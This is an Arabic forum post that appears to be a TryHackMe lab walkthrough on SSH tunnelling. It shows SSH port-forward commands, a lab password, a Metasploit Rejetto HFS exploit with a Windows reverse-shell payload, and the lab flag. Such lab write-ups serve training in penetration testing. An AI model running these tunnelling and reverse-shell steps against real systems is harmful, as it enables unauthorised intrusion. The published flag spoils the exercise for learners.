لكن بما إنه إحنا عملنا نفق بين جهازنا ( المهاجم ) و جهاز وسيط ( THMJMP2 ) فإحنا بنهاجم سيرفر الضحية عن طريق هاد النفق
فالعنوان الـ 127.0.0.1 هون بمثل كأنه الجهاز المستهدف موجود على الـ localhost من خلال هاد النفق يعني بدل ما نروح مباشرة لسيرفر الضحية بنستخدم الـ SSH tunnel عشان نوصلله كأنه على جهازنا وهيك بنقدر نهاجمه بدون مشاكل الشبكة اللي بتعزل جهازنا عن الضحية
باختصار : الـ 127.0.0.1 هون بمثل سيرفر الضحية اللي موصول مع جهازنا عن طريق الـ tunneling كأنه السيرفر جوا جهازنا نفسه
بعد ما نشغل الـ exploit بنلاقي الفلاق هون C:\hfs\flag.txt
فيديو توضيح وتطبيق عملي لحل التحدي
ملاحظه الباسورد انشاناها ببدايه موضوع الـ forwarding
الاوامر اللي بالفيديو ( تذكر تغير الحساب حسب اللي بتوخذه من الموقع وتحت اسم الحساب والباس اللي انت بتحطهم )
Bash:
ssh za\\[email protected]
Passwords2019
ssh [email protected] -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N
tunneluser
use rejetto_hfs_exec
set payload windows/shell_reverse_tcp
set lhost thmjmp2.za.tryhackme.com
set ReverseListenerBindAddress 127.0.0.1
set lport 7878
set srvhost 127.0.0.1
set srvport 6666
set rport 8888
set rhosts 127.0.0.1
exploit
ما هو العلم الذي تم الحصول عليه باستخدام استغلال Rejetto HFS على THMDC؟
THM{FORWARDING_IT_ALL}
مصادر مفيده
المرفقات
-
1725363635424.webp4.7 KB · المشاهدات: 133
-
1725557605171.webp17.1 KB · المشاهدات: 130
-
1726146551962.webp60.1 KB · المشاهدات: 139
-
1726146829695.webp22.2 KB · المشاهدات: 129
-
1726178998565.webp12.4 KB · المشاهدات: 136
-
1726179104797.webp17.1 KB · المشاهدات: 127
-
1726429426302.webp3.5 KB · المشاهدات: 138
التعديل الأخير: